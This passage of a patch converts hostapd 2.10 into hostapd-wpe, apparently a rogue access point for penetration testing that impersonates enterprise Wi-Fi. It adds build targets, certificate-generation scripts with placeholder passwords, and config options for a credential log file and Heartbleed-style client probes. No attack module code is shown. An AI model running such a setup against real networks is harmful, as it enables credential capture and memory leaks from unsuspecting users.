++# WEP is an obsolete cryptographic data confidentiality algorithm that is not
++# considered secure. It should not be used for anything anymore. The
++# functionality needed to use WEP is available in the current hostapd
++# release under this optional build parameter. This functionality is subject to
++# be completely removed in a future release.
++CONFIG_WEP=y
++
++# Remove all TKIP functionality
++# TKIP is an old cryptographic data confidentiality algorithm that is not
++# considered secure. It should not be used anymore. For now, the default hostapd
++# build includes this to allow mixed mode WPA+WPA2 networks to be enabled, but
++# that functionality is subject to be removed in the future.
++#CONFIG_NO_TKIP=y
++
++# Pre-Association Security Negotiation (PASN)
++# Experimental implementation based on IEEE P802.11z/D2.6 and the protocol
++# design is still subject to change. As such, this should not yet be enabled in
++# production use.
++# This requires CONFIG_IEEE80211W=y to be enabled, too.
++CONFIG_PASN=y
++CONFIG_IEEE80211W=y
++
++# Device Provisioning Protocol (DPP) (also known as Wi-Fi Easy Connect)
++CONFIG_DPP=y
++# DPP version 2 support
++CONFIG_DPP2=y
++# DPP version 3 support (experimental and still changing; do not enable for
++# production use)
++CONFIG_DPP3=y
++
++# Forgotten/lost somewhere
++CONFIG_SAE=y
+diff '--color=auto' -rupN hostapd-2.10/hostapd/Makefile hostapd-2.10-wpe/hostapd/Makefile
+--- hostapd-2.10/hostapd/Makefile	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/Makefile	2022-02-21 23:29:30.104000000 +0000
+@@ -1,4 +1,4 @@
+-ALL=hostapd hostapd_cli
++ALL=hostapd-wpe hostapd_cli-wpe
+ CONFIG_FILE = .config
+ 
+ include ../src/build.rules
+@@ -84,6 +84,7 @@ OBJS += ../src/ap/beacon.o
+ OBJS += ../src/ap/bss_load.o
+ OBJS += ../src/ap/neighbor_db.o
+ OBJS += ../src/ap/rrm.o
++OBJS += ../src/wpe/wpe.o
+ 
+ OBJS_c = hostapd_cli.o
+ OBJS_c += ../src/common/wpa_ctrl.o
+@@ -1277,10 +1278,19 @@ $(DESTDIR)$(BINDIR)/%: %
+ 
+ install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL))
+ 
++wpe:
++	install -d $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 hostapd-wpe.conf hostapd-wpe.eap_user $(DESTDIR)/etc/hostapd-wpe
++	install -d $(DESTDIR)/etc/hostapd-wpe/certs
++	install -d $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
++	install -m 644 certs/demoCA/cacert.pem $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
++	install -m 755 certs/bootstrap $(DESTDIR)/etc/hostapd-wpe/certs
++	install -m 644 certs/ca.cnf certs/client.cnf certs/Makefile certs/README certs/README.wpe certs/server.cnf certs/xpextensions $(DESTDIR)/etc/hostapd-wpe/certs
++
+ _OBJS_VAR := OBJS
+ include ../src/objs.mk
+ 
+-hostapd: $(OBJS)
++hostapd-wpe: $(OBJS)
+ 	$(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS)
+ 	@$(E) "  LD " $@
+ 
+@@ -1291,7 +1301,7 @@ endif
+ _OBJS_VAR := OBJS_c
+ include ../src/objs.mk
+ 
+-hostapd_cli: $(OBJS_c)
++hostapd_cli-wpe: $(OBJS_c)
+ 	$(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c)
+ 	@$(E) "  LD " $@
+ 
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/Makefile hostapd-2.10-wpe/hostapd/certs/Makefile
+--- hostapd-2.10/hostapd/certs/Makefile	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/Makefile	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,145 @@
++######################################################################
++#
++#	Make file to be installed in /etc/raddb/certs to enable
++#	the easy creation of certificates.
++#
++#	See the README file in this directory for more information.
++#
++#	$Id: cc12464c6c7754aff2f0c8d6e116708c94ff2168 $
++#
++######################################################################
++
++DH_KEY_SIZE	= 2048
++
++#
++#  Set the passwords
++#
++-include passwords.mk
++
++######################################################################
++#
++#  Make the necessary files, but not client certificates.
++#
++######################################################################
++.PHONY: all
++all: index.txt serial dh server ca client
++
++.PHONY: client
++client: client.pem
++
++.PHONY: ca
++ca: ca.der
++
++.PHONY: server
++server: server.pem server.vrfy
++
++.PHONY: verify
++verify: server.vrfy client.vrfy
++
++passwords.mk: server.cnf ca.cnf client.cnf
++	@echo "PASSWORD_SERVER	= '$(shell grep output_password server.cnf | sed 's/.*=//;s/^ *//')'"		> $@
++	@echo "PASSWORD_CA	= '$(shell grep output_password ca.cnf | sed 's/.*=//;s/^ *//')'"		>> $@
++	@echo "PASSWORD_CLIENT	= '$(shell grep output_password client.cnf | sed 's/.*=//;s/^ *//')'"		>> $@
++	@echo "USER_NAME	= '$(shell grep emailAddress client.cnf | grep '@' | sed 's/.*=//;s/^ *//')'"	>> $@
++	@echo "CA_DEFAULT_DAYS  = '$(shell grep default_days ca.cnf | sed 's/.*=//;s/^ *//')'"			>> $@
++
++######################################################################
++#
++#  Diffie-Hellman parameters
++#
++######################################################################
++dh:
++	openssl dhparam -out dh -2 $(DH_KEY_SIZE)
++
++######################################################################
++#
++#  Create a new self-signed CA certificate
++#
++######################################################################
++ca.key ca.pem: ca.cnf
++	@ -f index.txt  || $(MAKE) index.txt
++	@ -f serial  || $(MAKE) serial
++	openssl req -new -x509 -keyout ca.key -out ca.pem \
++		-days $(CA_DEFAULT_DAYS) -config ./ca.cnf
++
++ca.der: ca.pem
++	openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
++
++######################################################################
++#
++#  Create a new server certificate, signed by the above CA.
++#
++######################################################################
++server.csr server.key: server.cnf
++	openssl req -new  -out server.csr -keyout server.key -config ./server.cnf
++
++server.crt: server.csr ca.key ca.pem
++	openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key $(PASSWORD_CA) -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf
++
++server.p12: server.crt
++	openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12  -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
++
++server.pem: server.p12
++	openssl pkcs12 -in server.p12 -out server.pem -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
++
++.PHONY: server.vrfy
++server.vrfy: ca.pem
++	@openssl verify -CAfile ca.pem server.pem
++
++######################################################################
++#
++#  Create a new client certificate, signed by the the above server
++#  certificate.
++#
++######################################################################
++client.csr client.key: client.cnf
++	openssl req -new  -out client.csr -keyout client.key -config ./client.cnf
++
++client.crt: client.csr ca.pem ca.key
++	openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key $(PASSWORD_CA) -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
++
++client.p12: client.crt
++	openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12  -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
++
++client.pem: client.p12
++	openssl pkcs12 -in client.p12 -out client.pem -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
++	cp client.pem $(USER_NAME).pem
++
++.PHONY: client.vrfy
++client.vrfy: ca.pem client.pem
++	c_rehash .
++	openssl verify -CApath . client.pem
++
++######################################################################
++#
++#  Miscellaneous rules.
++#
++######################################################################
++index.txt:
++	@touch index.txt
++
++serial:
++	@echo '01' > serial
++
++print:
++	openssl x509 -text -in server.crt
++
++printca:
++	openssl x509 -text -in ca.pem
++
++install:
++	install -d $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 dh $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 ca.pem $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 server.pem $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 server.key $(DESTDIR)/etc/hostapd-wpe
++
++clean:
++	@rm -f *~ *old client.csr client.key client.crt client.p12 client.pem
++
++#
++#	Make a target that people won't run too often.
++#
++destroycerts:
++	rm -f *~ dh *.csr *.crt *.p12 *.der *.pem *.key index.txt* \
++			serial*  *\.0 *\.1
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/README hostapd-2.10-wpe/hostapd/certs/README
+--- hostapd-2.10/hostapd/certs/README	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/README	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,226 @@
++  This directory contains scripts to create the server certificates.
++To make a set of default (i.e. test) certificates, simply type:
++
++$ ./bootstrap
++
++  The "openssl" command will be run against the sample configuration
++files included here, and will make a self-signed certificate authority
++(i.e. root CA), and a server certificate.  This "root CA" should be
++installed on any client machine needing to do EAP-TLS, PEAP, or
++EAP-TTLS.
++
++  The Microsoft "XP Extensions" will be automatically included in the
++server certificate.  Without those extensions Windows clients will
++refuse to authenticate to FreeRADIUS.
++
++  The root CA and the "XP Extensions" file also contain a crlDistributionPoints
++attribute. The latest release of Windows Phone needs this to be present
++for the handset to validate the RADIUS server certificate. The RADIUS
++server must have the URI defined but the CA need not have...however it
++is best practice for a CA to have a revocation URI. Note that whilst
++the Windows Mobile client cannot actually use the CRL when doing 802.1X
++it is recommended that the URI be an actual working URL and contain a
++revocation format file as there may be other OS behaviour at play and
++future OSes that may do something with that URI.
++
++  In general, you should use self-signed certificates for 802.1x (EAP)
++authentication.  When you list root CAs from other organisations in
++the "ca_file", you permit them to masquerade as you, to authenticate
++your users, and to issue client certificates for EAP-TLS.
++
++  If FreeRADIUS was configured to use OpenSSL, then simply starting
++the server in root in debugging mode should also create test
++certificates, i.e.:
++
++$ radiusd -X
++
++  That will cause the EAP-TLS module to run the "bootstrap" script in
++this directory.  The script will be executed only once, the first time
++the server has been installed on a particular machine.  This bootstrap
++script SHOULD be run on installation of any pre-built binary package
++for your OS.  In any case, the script will ensure that it is not run
++twice, and that it does not over-write any existing certificates.
++
++  If you already have CA and server certificates, rename (or delete)
++this directory, and create a new "certs" directory containing your
++certificates.  Note that the "make install" command will NOT
++over-write your existing "raddb/certs" directory, which means that the
++"bootstrap" command will not be run.
++
++
++		NEW INSTALLATIONS OF FREERADIUS
++
++
++  We suggest that new installations use the test certificates for
++initial tests, and then create real certificates to use for normal
++user authentication.  See the instructions below for how to create the
++various certificates.  The old test certificates can be deleted by
++running the following command:
++
++$ rm -f *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
++
++  Then, follow the instructions below for creating real certificates.
++
++  Once the final certificates have been created, you can delete the
++"bootstrap" command from this directory, and delete the
++"make_cert_command" configuration from the "tls" sub-section of
++eap.conf.
++
++  If you do not want to enable EAP-TLS, PEAP, or EAP-TTLS, then delete
++the relevant sub-sections from the "eap.conf" file.
++
++
++		MAKING A ROOT CERTIFICATE
++
++
++$ vi ca.cnf
++
++  Edit the "input_password" and "output_password" fields to be the
++  password for the CA certificate.
++
++  Edit the certificate_authority section to have the correct values
++  for your country, state, etc.
++
++$ make ca.pem
++
++  This step creates the CA certificate.
++
++$ make ca.der
++
++  This step creates the DER format of the self-signed certificate,
++  which is can be imported into Windows.
++
++
++		MAKING A SERVER CERTIFICATE
++
++
++$ vi server.cnf
++
++  Edit the "input_password" and "output_password" fields to be the
++  password for the server certificate.
++
++  Edit the server section to have the correct values for your
++  country, state, etc.  Be sure that the commonName field here is
++  different from the commonName for the CA certificate.
++
++$ make server.pem
++
++  This step creates the server certificate.
++
++  If you have an existing certificate authority, and wish to create a
++  certificate signing request for the server certificate, edit
++  server.cnf as above, and type the following command.
++
++$ make server.csr
++
++  You will have to ensure that the certificate contains the XP
++  extensions needed by Microsoft clients.
++
++
++		MAKING A CLIENT CERTIFICATE
++
++
++  Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
++and PEAP.  The following steps outline how to create a client
++certificate that is signed by the server certificate created above.
++You will have to have the password for the server certificate in the
++"input_password" and "output_password" fields of the server.cnf file.
++
++
++$ vi client.cnf
++
++  Edit the "input_password" and "output_password" fields to be the
++  password for the client certificate.  You will have to give these
++  passwords to the end user who will be using the certificates.
++
++  Edit the client section to have the correct values for your
++  country, state, etc.  Be sure that the commonName field here is
++  the User-Name that will be used for logins!
++
++$ make client.pem
++
++  The users certificate will be in "emailAddress.pem",
++  i.e. "user@example.com.pem".
++
++  To create another client certificate, just repeat the steps for
++  making a client certificate, being sure to enter a different login
++  name for "commonName", and a different password.
++
++
++		PERFORMANCE
++
++
++  EAP performance for EAP-TLS, TTLS, and PEAP is dominated by SSL
++  calculations.  That is, a normal system can handle PAP
++  authentication at a rate of 10k packets/s.  However, SSL involves
++  RSA calculations, which are very expensive.  To benchmark your system,
++  do:
++
++$ openssl speed rsa
++
++  or
++
++$ openssl speed rsa2048
++
++  to test 2048 bit keys.
++
++  A 1GHz system will likely do 30 calculations/s.  A 2GHz system may
++  do 50 calculations/s, or more.  That number is also the number of
++  authentications/s that can be done for EAP-TLS (or TTLS, or PEAP).
++
++
++		COMPATIBILITY
++
++The certificates created using this method are known to be compatible
++with ALL operating systems.  Some common issues are:
++
++  - Windows requires certain OIDs in the certificates.  If it doesn't
++    see them, it will stop doing EAP.  The most visible effect is
++    that the client starts EAP, gets a few Access-Challenge packets,
++    and then a little while later re-starts EAP.  If this happens, see
++    the FAQ, and the comments in raddb/eap.conf for how to fix it.
++
++  - Windows requires the root certificates to be on the client PC.
++    If it doesn't have them, you will see the same issue as above.
++
++  - Windows XP post SP2 has a bug where it has problems with
++    certificate chains.  i.e. if the server certificate is an
++    intermediate one, and not a root one, then authentication will
++    silently fail, as above.
++
++  - Some versions of Windows CE cannot handle 4K RSA certificates.
++    They will (again) silently fail, as above.
++
++  - In none of these cases will Windows give the end user any
++    reasonable error message describing what went wrong.  This leads
++    people to blame the RADIUS server.  That blame is misplaced.
++
++  - Certificate chains of more than 64K bytes are known to not work.
++    This is a problem in FreeRADIUS.  However, most clients cannot
++    handle 64K certificate chains.  Most Access Points will shut down
++    the EAP session after about 50 round trips, while 64K certificate
++    chains will take about 60 round trips.  So don't use large
++    certificate chains.  They will only work after everyone upgrade
++    everything in the network.
++
++  - All other operating systems are known to work with EAP and
++    FreeRADIUS.  This includes Linux, *BSD, Mac OS X, Solaris,
++    Symbian, along with all known embedded systems, phones, WiFi
++    devices, etc.
++
++  - Someone needs to ask Microsoft to please stop making life hard for
++    their customers.
++
++
++		SECURITY CONSIDERATIONS
++
++The default certificate configuration files uses MD5 for message
++digests, to maintain compatibility with network equipment that
++supports only this algorithm.
++
++MD5 has known weaknesses and is discouraged in favour of SHA1 (see
++http://www.kb.cert.org/vuls/id/836068 for details). If your network
++equipment supports the SHA1 signature algorithm, we recommend that you
++change the "ca.cnf", "server.cnf", and "client.cnf" files to specify
++the use of SHA1 for the certificates. To do this, change the
++'default_md' entry in those files from 'md5' to 'sha1'.
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/README.wpe hostapd-2.10-wpe/hostapd/certs/README.wpe
+--- hostapd-2.10/hostapd/certs/README.wpe	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/README.wpe	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,13 @@
++# Certificate creation for Hostapd-WPE #
++########################################
++
++Usage:
++
++make clean
++./bootstrap
++make install
++
++Notes:
++- Windows 10 (and possibly any Windows starting from Vista) will fail EAP
++   if certificates signed with MD5 are used. 
++- Generated certificates used a SHA256 signature.
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/bootstrap hostapd-2.10-wpe/hostapd/certs/bootstrap
+--- hostapd-2.10/hostapd/certs/bootstrap	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/bootstrap	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,82 @@
++#!/bin/sh
++#
++#  This is a wrapper script to create default certificates when the
++#  server first starts in debugging mode.  Once the certificates have been
++#  created, this file should be deleted.
++#
++#  Ideally, this program should be run as part of the installation of any
++#  binary package.  The installation should also ensure that the permissions
++#  and owners are correct for the files generated by this script.
++#
++#  $Id: c9d939beac8d5bdc21ea1ff9233442f9ab933297 $
++#
++umask 027
++cd `dirname $0`
++
++make -h > /dev/null 2>&1
++
++#
++#  If we have a working "make", then use it.  Otherwise, run the commands
++#  manually.
++#
++if  "$?" = "0" ; then
++  make all
++  exit $?
++fi
++
++#
++#  The following commands were created by running "make -n", and edited
++#  to remove the trailing backslash, and to add "exit 1" after the commands.
++#
++#  Don't edit the following text.  Instead, edit the Makefile, and
++#  re-generate these commands.
++#
++if  ! -f dh ; then
++  openssl dhparam -out dh 1024 || exit 1
++  if  -e /dev/urandom  ; then
++	ln -sf /dev/urandom random
++  else
++	date > ./random;
++  fi
++fi
++
++if  ! -f server.key ; then
++  openssl req -new  -out server.csr -keyout server.key -config ./server.cnf || exit 1
++fi
++
++if  ! -f ca.key ; then
++  openssl req -new -x509 -keyout ca.key -out ca.pem -days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf || exit 1
++fi
++
++if  ! -f index.txt ; then
++  touch index.txt
++fi
++
++if  ! -f serial ; then
++  echo '01' > serial
++fi
++
++if  ! -f server.crt ; then
++  openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf || exit 1
++fi
++
++if  ! -f server.p12 ; then
++  openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12  -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
++fi
++
++if  ! -f server.pem ; then
++  openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
++  openssl verify -CAfile ca.pem server.pem || exit 1
++fi
++
++if  ! -f ca.der ; then
++  openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der || exit 1
++fi
++
++if  ! -f client.key ; then
++  openssl req -new  -out client.csr -keyout client.key -config ./client.cnf
++fi
++
++if  ! -f client.crt ; then
++  openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
++fi
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/ca.cnf hostapd-2.10-wpe/hostapd/certs/ca.cnf
+--- hostapd-2.10/hostapd/certs/ca.cnf	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/ca.cnf	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,62 @@
++ ca 
++default_ca		= CA_default
++
++ CA_default 
++dir			= ./
++certs			= $dir
++crl_dir			= $dir/crl
++database		= $dir/index.txt
++new_certs_dir		= $dir
++certificate		= $dir/ca.pem
++serial			= $dir/serial
++crl			= $dir/crl.pem
++private_key		= $dir/ca.key
++RANDFILE		= $dir/.rand
++name_opt		= ca_default
++cert_opt		= ca_default
++default_days		= 365
++default_crl_days	= 364
++default_md		= sha256
++preserve		= no
++policy			= policy_match
++crlDistributionPoints	= URI:http://www.example.org/example_ca.crl
++
++ policy_match 
++countryName		= match
++stateOrProvinceName	= match
++organizationName	= match
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++ policy_anything 
++countryName		= optional
++stateOrProvinceName	= optional
++localityName		= optional
++organizationName	= optional
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++ req 
++prompt			= no
++distinguished_name	= certificate_authority
++default_bits		= 2048
++input_password		= whatever
++output_password		= whatever
++x509_extensions		= v3_ca
++
++certificate_authority
++countryName		= FR
++stateOrProvinceName	= Radius
++localityName		= Somewhere
++organizationName	= Example Inc.
++emailAddress		= admin@example.org
++commonName		= "Example Certificate Authority"
++
++v3_ca
++subjectKeyIdentifier	= hash
++authorityKeyIdentifier	= keyid:always,issuer:always
++basicConstraints	= critical,CA:true
++crlDistributionPoints	= URI:http://www.example.org/example_ca.crl
++
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/client.cnf hostapd-2.10-wpe/hostapd/certs/client.cnf
+--- hostapd-2.10/hostapd/certs/client.cnf	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/client.cnf	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,53 @@
++ ca 
++default_ca		= CA_default
++
++ CA_default 
++dir			= ./
++certs			= $dir
++crl_dir			= $dir/crl
++database		= $dir/index.txt
++new_certs_dir		= $dir
++certificate		= $dir/ca.pem
++serial			= $dir/serial
++crl			= $dir/crl.pem
++private_key		= $dir/ca.key
++RANDFILE		= $dir/.rand
++name_opt		= ca_default
++cert_opt		= ca_default
++default_days		= 365
++default_crl_days	= 364
++default_md		= sha256
++preserve		= no
++policy			= policy_match
++
++ policy_match 
++countryName		= match
++stateOrProvinceName	= match
++organizationName	= match
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++ policy_anything 
++countryName		= optional
++stateOrProvinceName	= optional
++localityName		= optional
++organizationName	= optional
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++ req 
++prompt			= no
++distinguished_name	= client
++default_bits		= 2048
++input_password		= whatever
++output_password		= whatever
++
++client
++countryName		= FR
++stateOrProvinceName	= Radius
++localityName		= Somewhere
++organizationName	= Example Inc.
++emailAddress		= user@example.org
++commonName		= user@example.org
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/demoCA/cacert.pem hostapd-2.10-wpe/hostapd/certs/demoCA/cacert.pem
+--- hostapd-2.10/hostapd/certs/demoCA/cacert.pem	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/demoCA/cacert.pem	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,22 @@
++-----BEGIN CERTIFICATE-----
++MIIDtjCCAx+gAwIBAgIBADANBgkqhkiG9w0BAQQFADCBnzELMAkGA1UEBhMCQ0Ex
++ETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQHEwlTb21lIENpdHkxFTATBgNVBAoT
++DE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9jYWxob3N0MRswGQYDVQQDExJDbGll
++bnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0BCQEWEmNsaWVudEBleGFtcGxlLmNv
++bTAeFw0wNDAxMjUxMzI2MDdaFw0wNjAxMjQxMzI2MDdaMIGfMQswCQYDVQQGEwJD
++QTERMA8GA1UECBMIUHJvdmluY2UxEjAQBgNVBAcTCVNvbWUgQ2l0eTEVMBMGA1UE
++ChMMT3JnYW5pemF0aW9uMRIwEAYDVQQLEwlsb2NhbGhvc3QxGzAZBgNVBAMTEkNs
++aWVudCBjZXJ0aWZpY2F0ZTEhMB8GCSqGSIb3DQEJARYSY2xpZW50QGV4YW1wbGUu
++Y29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUxbGXJPFkrPH/sYnbHI+/
++9PFDlup8sekPeNaUUXJTd4ld/lLMuZtB6A3etYsSepQ/T1jLxWKHgZL73G/s6fhx
++58Ew01z1GIgX6bEzJJ7dKhx10xBDrodVPOx6d+8mqn10KB25t34XxkRsXdmxiLQy
++UMoCKZY3IqEjpyawC0An/QIDAQABo4H/MIH8MB0GA1UdDgQWBBRo020+Hue8nVoF
++cCHDY9oTZdGt4zCBzAYDVR0jBIHEMIHBgBRo020+Hue8nVoFcCHDY9oTZdGt46GB
++paSBojCBnzELMAkGA1UEBhMCQ0ExETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQH
++EwlTb21lIENpdHkxFTATBgNVBAoTDE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9j
++YWxob3N0MRswGQYDVQQDExJDbGllbnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0B
++CQEWEmNsaWVudEBleGFtcGxlLmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3
++DQEBBAUAA4GBADPAC2ax5Xnvc6BnmCUtq41eVRH8AP0nbYDRL4NHd8Z0P9wnQ/yh
++UHcE5LwJeeT2CsOtnug+bzRzaSKdH3cim6LpgjWdpWMCSgAWPbptbJhsC60or4UT
++L/jw12UBvxt8Lf9ljOHmLAGZe25k4+jUNzNUzpkShHZRU5BjuFu8VIXF
++-----END CERTIFICATE-----
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/server.cnf hostapd-2.10-wpe/hostapd/certs/server.cnf
+--- hostapd-2.10/hostapd/certs/server.cnf	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/server.cnf	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,54 @@
++ ca 
++default_ca		= CA_default
++
++ CA_default 
++dir			= ./
++certs			= $dir
++crl_dir			= $dir/crl
++database		= $dir/index.txt
++new_certs_dir		= $dir
++certificate		= $dir/server.pem
++serial			= $dir/serial
++crl			= $dir/crl.pem
++private_key		= $dir/server.key
++RANDFILE		= $dir/.rand
++name_opt		= ca_default
++cert_opt		= ca_default
++default_days		= 60
++default_crl_days	= 30
++default_md		= sha256
++preserve		= no
++policy			= policy_match
++
++ policy_match 
++countryName		= match
++stateOrProvinceName	= match
++organizationName	= match
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++ policy_anything 
++countryName		= optional
++stateOrProvinceName	= optional
++localityName		= optional
++organizationName	= optional
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++ req 
++prompt			= no
++distinguished_name	= server
++default_bits		= 2048
++input_password		= whatever
++output_password		= whatever
++
++server
++countryName		= FR
++stateOrProvinceName	= Radius
++localityName		= Somewhere
++organizationName	= Example Inc.
++emailAddress		= admin@example.org
++commonName		= "Example Server Certificate"
++
+diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/xpextensions hostapd-2.10-wpe/hostapd/certs/xpextensions
+--- hostapd-2.10/hostapd/certs/xpextensions	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/certs/xpextensions	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,24 @@
++#
++#  File containing the OIDs required for Windows.
++#
++#  http://support.microsoft.com/kb/814394/en-us
++#
++ xpclient_ext
++extendedKeyUsage = 1.3.6.1.5.5.7.3.2
++crlDistributionPoints = URI:http://www.example.com/example_ca.crl
++
++ xpserver_ext
++extendedKeyUsage = 1.3.6.1.5.5.7.3.1
++crlDistributionPoints = URI:http://www.example.com/example_ca.crl
++
++#
++#  Add this to the PKCS#7 keybag attributes holding the client's private key
++#  for machine authentication.
++#
++#  the presence of this OID tells Windows XP that the cert is intended
++#  for use by the computer itself, and not by an end-user.
++#
++#  The other solution is to use Microsoft's web certificate server
++#  to generate these certs.
++#
++# 1.3.6.1.4.1.311.17.2
+diff '--color=auto' -rupN hostapd-2.10/hostapd/config_file.c hostapd-2.10-wpe/hostapd/config_file.c
+--- hostapd-2.10/hostapd/config_file.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/config_file.c	2022-02-21 23:29:30.100000000 +0000
+@@ -24,7 +24,7 @@
+ #include "ap/wpa_auth.h"
+ #include "ap/ap_config.h"
+ #include "config_file.h"
+-
++#include "wpe/wpe.h"
+ 
+ #ifndef CONFIG_NO_VLAN
+ static int hostapd_config_read_vlan_file(struct hostapd_bss_config *bss,
+@@ -2493,6 +2493,22 @@ static int hostapd_config_fill(struct ho
+ 		}
+ 		bss->eapol_version = eapol_version;
+ 		wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version);
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++    } else if (os_strcmp(buf, "wpe_logfile") == 0) {
++        wpe_conf.wpe_logfile = os_strdup(pos);
++    } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) {
++        wpe_conf.wpe_hb_send_before_handshake = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) {
++        wpe_conf.wpe_hb_send_before_appdata = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) {
++        wpe_conf.wpe_hb_send_after_appdata = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) {
++        wpe_conf.wpe_hb_payload_size = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) {
++        wpe_conf.wpe_hb_num_repeats = atoi(pos);
++    } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) {
++        wpe_conf.wpe_hb_num_tries = atoi(pos);
++#endif /* #if OPENSSL_VERSION_NUMBER  < 0x10100000L */
+ #ifdef EAP_SERVER
+ 	} else if (os_strcmp(buf, "eap_authenticator") == 0) {
+ 		bss->eap_server = atoi(pos);
+diff '--color=auto' -rupN hostapd-2.10/hostapd/hostapd-wpe.conf hostapd-2.10-wpe/hostapd/hostapd-wpe.conf
+--- hostapd-2.10/hostapd/hostapd-wpe.conf	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/hostapd-wpe.conf	2022-02-21 23:29:30.100000000 +0000
+@@ -0,0 +1,2042 @@
++# Configuration file for hostapd-wpe
++
++# Interface - Probably wlan0 for 802.11, eth0 for wired
++interface=wlan0
++
++# May have to change these depending on build location
++eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
++ca_cert=/etc/hostapd-wpe/ca.pem
++server_cert=/etc/hostapd-wpe/server.pem
++private_key=/etc/hostapd-wpe/server.key
++private_key_passwd=whatever
